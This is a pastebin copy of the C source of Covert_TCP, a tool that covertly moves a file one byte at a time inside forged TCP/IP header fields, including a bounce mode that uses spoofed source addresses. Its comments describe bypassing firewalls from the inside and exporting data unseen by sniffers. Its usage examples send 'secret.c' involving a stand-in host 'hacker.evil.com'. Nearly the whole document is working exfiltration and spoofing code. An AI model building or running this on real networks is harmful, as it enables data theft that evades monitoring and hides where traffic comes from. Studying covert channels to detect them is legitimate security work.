C   147
covert tcp
Guest on 25th August 2022 01:56:36 PM


  1. /* Covert_TCP 1.0 - Covert channel file transfer for Linux
  2. * Written by Craig H. Rowland (crowland@psionic.com)
  3. * Copyright  Craig H. Rowland
  4. * NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
  5. *
  6. *
  7. * This program manipulates the TCP/IP header to transfer a file one byte
  8. * at a time to a destination host. This progam can act as a server and a client
  9. * and can be used to conceal transmission of data inside the IP header.
  10. * This is useful for bypassing firewalls from the inside, and for
  11. * exporting data with innocuous looking packets that contain no data for
  12. * sniffers to analyze. In other words, spy stuff... :)
  13. *
  14. * PLEASE see the enclosed paper for more information!!
  15. *
  16. * This software should be used at your own risk.
  17. *
  18. * compile: cc -o covert_tcp covert_tcp.c
  19. *
  20. *
  21. *
  22. * Portions of this code based on ping.c (c)  Regents of the
  23. * University of California. (See function in_cksm() for details)
  24. *
  25. * Small portions from various packet utilities by unknown authors
  26. */
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <signal.h>
  30. #include <string.h>
  31. #include <unistd.h>
  32. #include <netdb.h>
  33. #include <netinet/in.h>
  34. #include <sys/socket.h>
  35. #include <arpa/inet.h>
  36. #include <linux/ip.h>
  37. #include <linux/tcp.h>
  38. #define VERSION "1.0"
  39. /* Prototypes */
  40. void forgepacket(unsigned int, unsigned int, unsigned short, unsigned
  41.                  short,char *,int,int,int,int);
  42. unsigned short in_cksum(unsigned short *, int);
  43. unsigned int host_convert(char *);
  44. void usage(char *);
  45. main(int argc, char **argv)
  46. {
  47.    unsigned int source_host=0,dest_host=0;
  48.    unsigned short source_port=0,dest_port=80;
  49.    int ipid=0,seq=0,ack=0,server=0,file=0;
  50.    int count;
  51.    char desthost[80],srchost[80],filename[80];
  52.    
  53.    /* Title */
  54.    printf("Covert TCP %s (c)1996 Craig H. Rowland (crowland@psionic.com)\n",VERSION);
  55.    printf("Not for commercial use without permission.\n");
  56.  
  57.    /* Can they run this? */
  58.    if(geteuid() !=0)
  59.     {
  60.     printf("\nYou need to be root to run this.\n\n");
  61.     exit(0);
  62.     }
  63.    /* Tell them how to use this thing */
  64.    if((argc < 6) || (argc > 13))
  65.    {
  66.    usage(argv[0]);
  67.    exit(0);
  68.    }
  69. /* No error checking on the args...next version :) */  
  70.    for(count=0; count < argc; ++count)
  71.     {
  72.     if (strcmp(argv[count],"-dest") == 0)
  73.      {
  74.      dest_host=host_convert(argv[count+1]);
  75.      strncpy(desthost,argv[count+1],79);
  76.      }
  77.     else if (strcmp(argv[count],"-source") == 0)
  78.      {
  79.      source_host=host_convert(argv[count+1]);
  80.      strncpy(srchost,argv[count+1],79);
  81.      }
  82.     else if (strcmp(argv[count],"-file") == 0)
  83.      {
  84.      strncpy(filename,argv[count+1],79);
  85.      file=1;
  86.      }
  87.     else if (strcmp(argv[count],"-source_port") == 0)
  88.       source_port=atoi(argv[count+1]);
  89.     else if (strcmp(argv[count],"-dest_port") == 0)
  90.       dest_port=atoi(argv[count+1]);
  91.     else if (strcmp(argv[count],"-ipid") == 0)
  92.       ipid=1;
  93.     else if (strcmp(argv[count],"-seq") == 0)
  94.       seq=1;
  95.     else if (strcmp(argv[count],"-ack") == 0)
  96.       ack=1;
  97.     else if (strcmp(argv[count],"-server") == 0)
  98.       server=1;
  99.     }
  100.    /* check the encoding flags */
  101.    if(ipid+seq+ack == 0)
  102.     ipid=1; /* set default encode type if none given */
  103.    else if (ipid+seq+ack !=1)
  104.     {
  105.     printf("\n\nOnly one encoding/decode flag (-ipid -seq -ack) can be used at a time.\n\n");
  106.     exit(1);
  107.     }
  108.    /* Did they give us a filename? */
  109.    if(file != 1)
  110.     {
  111.     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
  112.     exit(1);
  113.     }
  114.    if(server==0) /* if they want to be a client do this... */
  115.     {  
  116.      if (source_host == 0 && dest_host == 0)
  117.       {
  118.       printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
  119.       exit(1);
  120.       }
  121.      else if (ack == 1)
  122.       {
  123.       printf("\n\n-ack decoding can only be used in SERVER mode (-server)\n\n");
  124.       exit(1);
  125.       }
  126.      else
  127.       {
  128.       printf("Destination Host: %s\n",desthost);
  129.       printf("Source Host     : %s\n",srchost);
  130.        if(source_port == 0)
  131.         printf("Originating Port: random\n");
  132.        else
  133.         printf("Originating Port: %u\n",source_port);
  134.       printf("Destination Port: %u\n",dest_port);
  135.       printf("Encoded Filename: %s\n",filename);
  136.        if(ipid == 1)
  137.         printf("Encoding Type   : IP ID\n");
  138.        else if(seq == 1)
  139.         printf("Encoding Type   : IP Sequence Number\n");
  140.        printf("\nClient Mode: Sending data.\n\n");
  141.       }
  142.      }
  143.     else /* server mode it is */
  144.      {    
  145.      if (source_host == 0 && source_port == 0)
  146.       {
  147.       printf("You need to supply a source address and/or source port for server mode.\n");
  148.       exit(1);
  149.       }
  150.      if(dest_host == 0) /* if not host given, listen for anything.. */
  151.       strcpy(desthost,"Any Host");
  152.      if(source_host == 0)
  153.       strcpy(srchost,"Any Host");
  154.      printf("Listening for data from IP: %s\n",srchost);
  155.      if(source_port == 0)
  156.       printf("Listening for data bound for local port: Any Port\n");
  157.      else
  158.       printf("Listening for data bound for local port: %u\n",source_port);
  159.      printf("Decoded Filename: %s\n",filename);
  160.      if(ipid == 1)
  161.       printf("Decoding Type Is: IP packet ID\n");
  162.      else if(seq == 1)
  163.       printf("Decoding Type Is: IP Sequence Number\n");
  164.      else if(ack == 1)
  165.       printf("Decoding Type Is: IP ACK field bounced packet.\n");
  166.      printf("\nServer Mode: Listening for data.\n\n");
  167.      }
  168.      /* Do the dirty work */
  169.      forgepacket(source_host, dest_host, source_port, dest_port
  170.                 ,filename,server,ipid,seq,ack);
  171. exit(0);
  172. }
  173. void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned
  174. short source_port, unsigned short dest_port, char *filename, int server, int ipid
  175. , int seq, int ack)
  176. {
  177.    struct send_tcp
  178.    {
  179.       struct iphdr ip;
  180.       struct tcphdr tcp;
  181.    } send_tcp;
  182.    struct recv_tcp
  183.    {
  184.       struct iphdr ip;
  185.       struct tcphdr tcp;
  186.       char buffer[10000];
  187.    } recv_pkt;
  188.    /* From synhose.c by knight */
  189.    struct pseudo_header
  190.    {
  191.       unsigned int source_address;
  192.       unsigned int dest_address;
  193.       unsigned char placeholder;
  194.       unsigned char protocol;
  195.       unsigned short tcp_length;
  196.       struct tcphdr tcp;
  197.    } pseudo_header;
  198.    int ch;
  199.    int send_socket;
  200.    int recv_socket;
  201.    struct sockaddr_in sin;
  202.    FILE *input;
  203.    FILE *output;
  204. /* Initialize RNG for future use */
  205. srand((getpid())*(dest_port));
  206. /**********************/
  207. /* Client code        */
  208. /**********************/
  209. /* are we the client? */
  210. if(server==0)
  211. {
  212. if((input=fopen(filename,"rb"))== NULL)
  213.  {
  214.  printf("I cannot open the file %s for reading\n",filename);
  215.  exit(1);
  216.  }
  217. else while((ch=fgetc(input)) !=EOF)
  218.  {
  219. /* Delay loop. This really slows things down, but is necessary to ensure */
  220. /* semi-reliable transport of messages over the Internet and will not flood */
  221. /* slow network connections */
  222. /* A better should probably be developed */
  223. sleep(1);
  224. /* NOTE: I am not using the proper byte order functions to initialize */
  225. /* some of these values (htons(), htonl(), etc.) and this will certainly */
  226. /* cause problems on other architectures. I didn't like doing a direct */
  227. /* translation of ASCII into the variables because this looked really */
  228. /* suspicious seeing packets with sequence numbers of 0-255 all the time */
  229. /* so I just read them in raw and let the function mangle them to fit its */
  230. /* needs... CHR */
  231.    /* Make the IP header with our forged information */
  232.    send_tcp.ip.ihl = 5;
  233.    send_tcp.ip.version = 4;
  234.    send_tcp.ip.tos = 0;
  235.    send_tcp.ip.tot_len = htons(40);
  236. /* if we are NOT doing IP ID header encoding, randomize the value */
  237. /* of the IP identification field */
  238. if (ipid == 0)
  239.    send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0));
  240. else /* otherwise we "encode" it with our cheesy algorithm */
  241.    send_tcp.ip.id =ch;
  242.    send_tcp.ip.frag_off = 0;
  243.    send_tcp.ip.ttl = 64;
  244.    send_tcp.ip.protocol = IPPROTO_TCP;
  245.    send_tcp.ip.check = 0;
  246.    send_tcp.ip.saddr = source_addr;
  247.    send_tcp.ip.daddr = dest_addr;
  248. /* begin forged TCP header */
  249. if(source_port == 0) /* if the didn't supply a source port, we make one */
  250.    send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
  251. else /* otherwise use the one given */
  252.    send_tcp.tcp.source = htons(source_port);
  253. if(seq==0) /* if we are not encoding the value into the seq number */
  254.    send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
  255. else /* otherwise we'll hide the data using our cheesy algorithm one more time.
  256. */
  257.    send_tcp.tcp.seq = ch;
  258.    /* forge destination port */
  259.    send_tcp.tcp.dest = htons(dest_port);
  260.  
  261.    /* the rest of the flags */
  262.    /* NOTE: Other covert channels can use the following flags to encode data a
  263. BIT */
  264.    /* at a time. A good example would be the use of the PSH flag setting to either
  265. */
  266.    /* on or off and having the remote side decode the bytes accordingly... CHR */
  267.    send_tcp.tcp.ack_seq = 0;
  268.    send_tcp.tcp.res1 = 0;
  269.    send_tcp.tcp.doff = 5;
  270.    send_tcp.tcp.fin = 0;
  271.    send_tcp.tcp.syn = 1;
  272.    send_tcp.tcp.rst = 0;
  273.    send_tcp.tcp.psh = 0;
  274.    send_tcp.tcp.ack = 0;
  275.    send_tcp.tcp.urg = 0;
  276. //   send_tcp.tcp.res2 = 0;
  277.    send_tcp.tcp.window = htons(512);
  278.    send_tcp.tcp.check = 0;
  279.    send_tcp.tcp.urg_ptr = 0;
  280.    
  281.    /* Drop our forged data into the socket struct */
  282.    sin.sin_family = AF_INET;
  283.    sin.sin_port = send_tcp.tcp.source;
  284.    sin.sin_addr.s_addr = send_tcp.ip.daddr;  
  285.    
  286.    /* Now open the raw socket for sending */
  287.    send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  288.    if(send_socket < 0)
  289.    {
  290.       perror("send socket cannot be open. Are you root?");
  291.       exit(1);
  292.    }
  293.       /* Make IP header checksum */
  294.       send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  295.       /* Final preparation of the full header */
  296.       /* From synhose.c by knight */
  297.       pseudo_header.source_address = send_tcp.ip.saddr;
  298.       pseudo_header.dest_address = send_tcp.ip.daddr;
  299.       pseudo_header.placeholder = 0;
  300.       pseudo_header.protocol = IPPROTO_TCP;
  301.       pseudo_header.tcp_length = htons(20);
  302.       bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  303.       /* Final checksum on the entire package */
  304.       send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
  305.       /* Away we go.... */
  306.       sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
  307.       printf("Sending Data: %c\n",ch);
  308.   close(send_socket);
  309.  } /* end while(fgetc()) loop */
  310. fclose(input);
  311. }/* end if(server == 0) loop */
  312. /***********************/
  313. /* Passive server code */
  314. /***********************/
  315. /* we are the server so now we listen */
  316. else
  317. {
  318.  if((output=fopen(filename,"wb"))== NULL)
  319.   {
  320.   printf("I cannot open the file %s for writing\n",filename);
  321.   exit(1);
  322.   }
  323. /* Now we read the socket. This is not terribly fast at this time, and has the same
  324. */
  325. /* reliability as UDP as we do not ACK the packets for retries if they are bad. */
  326. /* This is just proof of concept... CHR*/
  327.  while(1) /* read packet loop */
  328.  {
  329.    /* Open socket for reading */
  330.    recv_socket = socket(AF_INET, SOCK_RAW, 6);
  331.    if(recv_socket < 0)
  332.    {
  333.       perror("receive socket cannot be open. Are you root?");
  334.       exit(1);
  335.    }
  336.   /* Listen for return packet on a passive socket */
  337.   read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
  338.         /* if the packet has the SYN/ACK flag set and is from the right
  339. address..*/
  340.         if (source_port == 0) /* the user does not care what port we come from
  341. */
  342.         {       /* check for SYN/ACK flag set and correct inbound IP source
  343. address */
  344.                 if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr ==
  345. source_addr))
  346.                 {
  347.                 /* IP ID header "decoding" */
  348.                 /* The ID number is converted from it's ASCII equivalent back to
  349. normal */
  350.                         if(ipid==1)
  351.                         {
  352.                         printf("Receiving Data: %c\n",recv_pkt.ip.id);
  353.                         fprintf(output,"%c",recv_pkt.ip.id);
  354.                         fflush(output);
  355.                         }
  356.                         /* IP Sequence number "decoding" */
  357.                         else if (seq==1)
  358.                         {
  359.                         printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
  360.                         fprintf(output,"%c",recv_pkt.tcp.seq);
  361.                         fflush(output);
  362.                         }
  363.         /* Use a bounced packet from a remote server to decode the data */
  364.         /* This technique requires that the client initiates a SEND to */
  365.         /* a remote host with a SPOOFED source IP that is the location */
  366.         /* of the listening server. The remote server will receive the packet */
  367.         /* and will initiate an ACK of the packet with the encoded sequence */
  368.         /* number+1 back to the SPOOFED source. The covert server is waiting at this */
  369.         /* spoofed address and can decode the ack field to retrieve the data */
  370.         /* this enables an "anonymous" packet transfer that can bounce */
  371.         /* off any site. This is VERY hard to trace back to the originating */
  372.         /* source. This is pretty nasty as far as covert channels go... */
  373.         /* Some routers may not allow you to spoof an address outbound */
  374.         /* that is not on their network, so it may not work at all sites... */
  375.         /* SENDER should use covert_tcp with the -seq flag and a forged -source */
  376.         /* address. RECEIVER should use the -server -ack flags with the IP of */
  377.         /* of the server the bounced message will appear from.. CHR */
  378.         /* The bounced ACK sequence number is really the original sequence*/
  379.         /* plus one (ISN+1). However, the translation here drops some of the */
  380.         /* bits so we get the original ASCII value...go figure.. */
  381.                         else if (ack==1)
  382.                         {
  383.                          printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
  384.                          fprintf(output,"%c",recv_pkt.tcp.ack_seq);
  385.                          fflush(output);
  386.                         }
  387.                 } /* end if loop to check for ID/sequence decode */
  388.         } /* End if loop checking for port number given */
  389. /* if the packet has the SYN/ACK flag set and is destined to the right port..*/
  390. /* we'll grab it regardless if IP addresses. This is useful for bouncing off of */
  391. /* multiple hosts to a single server address */
  392.         else
  393.         {
  394.                 if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) ==
  395. source_port))
  396.                 {
  397.                         /* IP ID header "decoding" */
  398.                         /* The ID number is converted from it's ASCII equivalent back
  399. to normal */
  400.                         if(ipid==1)
  401.                         {
  402.                         printf("Receiving Data: %c\n",recv_pkt.ip.id);
  403.                         fprintf(output,"%c",recv_pkt.ip.id);
  404.                         fflush(output);
  405.                         }
  406.                         /* IP Sequence number "decoding" */
  407.                         else if (seq==1)
  408.                         {
  409.                         printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
  410.                         fprintf(output,"%c",recv_pkt.tcp.seq);
  411.                         fflush(output);
  412.                         }
  413.                         /* Do the bounce decode again... */
  414.                         else if (ack==1)
  415.                         {
  416.                         printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
  417.                         fprintf(output,"%c",recv_pkt.tcp.ack_seq);
  418.                         fflush(output);
  419.                         }
  420.                 } /* end if loop to check for source port decoding */
  421.         } /* end else loop to see if port number given to listen on */
  422.    close(recv_socket); /* close the socket so we don't hose the kernel */
  423.   }/* end while() read packet loop */
  424.   fclose(output);
  425.  } /* end else(serverloop) function */
  426. } /* end forgepacket() function */
  427. /* clipped from ping.c (this function is the whore of checksum routines */
  428. /* as everyone seems to use it..I feel so dirty...) */
  429. /* Copyright (c)1987 Regents of the University of California.
  430. * All rights reserved.
  431. *
  432. * Redistribution and use in source and binary forms are permitted
  433. * provided that the above copyright notice and this paragraph are
  434. * dupliated in all such forms and that any documentation, advertising
  435. * materials, and other materials related to such distribution and use
  436. * acknowledge that the software was developed by the University of
  437. * California, Berkeley. The name of the University may not be used
  438. * to endorse or promote products derived from this software without
  439. * specific prior written permission. THIS SOFTWARE IS PROVIDED ``AS
  440. * IS'' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
  441. * WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHATIBILITY AND
  442. * FITNESS FOR A PARTICULAR PURPOSE
  443. */
  444. unsigned short in_cksum(unsigned short *ptr, int nbytes)
  445. {
  446.         register long           sum;            /* assumes long == 32 bits
  447. */
  448.         u_short                 oddbyte;
  449.         register u_short        answer;         /* assumes u_short == 16 bits */
  450.         /*
  451.          * Our algorithm is simple, using a 32-bit accumulator (sum),
  452.          * we add sequential 16-bit words to it, and at the end, fold back
  453.          * all the carry bits from the top 16 bits into the lower 16 bits.
  454.          */
  455.         sum = 0;
  456.         while (nbytes > 1)  {
  457.                 sum += *ptr++;
  458.                 nbytes -= 2;
  459.         }
  460.                                 /* mop up an odd byte, if necessary */
  461.         if (nbytes == 1) {
  462.                 oddbyte = 0;            /* make sure top half is zero */
  463.                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
  464.                 sum += oddbyte;
  465.         }
  466.         /*
  467.          * Add back carry outs from top 16 bits to low 16 bits.
  468.          */
  469.         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  470.         sum += (sum >> 16);                     /* add carry */
  471.         answer = ~sum;          /* ones-complement, then truncate to 16 bits
  472. */
  473.         return(answer);
  474. } /* end in_cksm()
  475. /* Generic resolver from unknown source */
  476. unsigned int host_convert(char *hostname)
  477. {
  478.    static struct in_addr i;
  479.    struct hostent *h;
  480.    i.s_addr = inet_addr(hostname);
  481.    if(i.s_addr == -1)
  482.    {
  483.       h = gethostbyname(hostname);
  484.       if(h == NULL)
  485.       {
  486.          fprintf(stderr, "cannot resolve %s\n", hostname);
  487.          exit(0);
  488.       }
  489.       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  490.    }
  491.    return i.s_addr;
  492. } /* end resolver */
  493. /* Tell them how to use this */
  494. void usage(char *progname)
  495. {
  496.       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename -source_port port -dest_port port -server [encode type]\n\n",
  497. progname);
  498.       printf("-dest dest_ip      - Host to send data to.\n");
  499.       printf("-source source_ip  - Host where you want the data to originate from.\n");
  500.       printf("                     In SERVER mode this is the host data will\n");
  501.       printf("                     be coming FROM.\n");
  502.       printf("-source_port port  - IP source port you want data to appear from. \n");
  503.       printf("                     (randomly set by default)\n");
  504.       printf("-dest_port port    - IP source port you want data to go to. In\n");
  505.       printf("                     SERVER mode this is the port data will be coming\n");
  506.       printf("                     inbound on. Port 80 by default.\n");
  507.       printf("-file filename     - Name of the file to encode and transfer.\n");
  508.       printf("-server            - Passive mode to allow receiving of data.\n");
  509.       printf("[Encode Type] - Optional encoding type\n");
  510.       printf("-ipid - Encode data a byte at a time in the IP packet ID.  [DEFAULT]\n");
  511.       printf("-seq  - Encode data a byte at a time in the packet sequence number.\n");
  512.       printf("-ack  - DECODE data a byte at a time from the ACK field.\n");
  513.       printf("        This ONLY works from server mode and is made to decode\n");
  514.       printf("        covert channel packets that have been bounced off a remote\n");
  515.       printf("        server using -seq. See documentation for details\n");
  516.       printf("\nPress ENTER for examples.");
  517.       getchar();
  518.       printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - source_port 1234 -dest_port 80 -file secret.c\n\n"); printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
  519.       printf("at a time using the default IP packet ID encoding.\n");
  520.       printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - dest_port 80 -server -file secret.c\n\n");
  521.       printf("Above listens passively for packets from  hacker.evil.com\n");
  522.       printf("destined for port 80. It takes the data and saves the file locally\n");
  523.       printf("as secret.c\n\n");
  524.       exit(0);
  525. } /* end usage() */

Raw Paste

Login or Register to edit or fork this paste. It's free.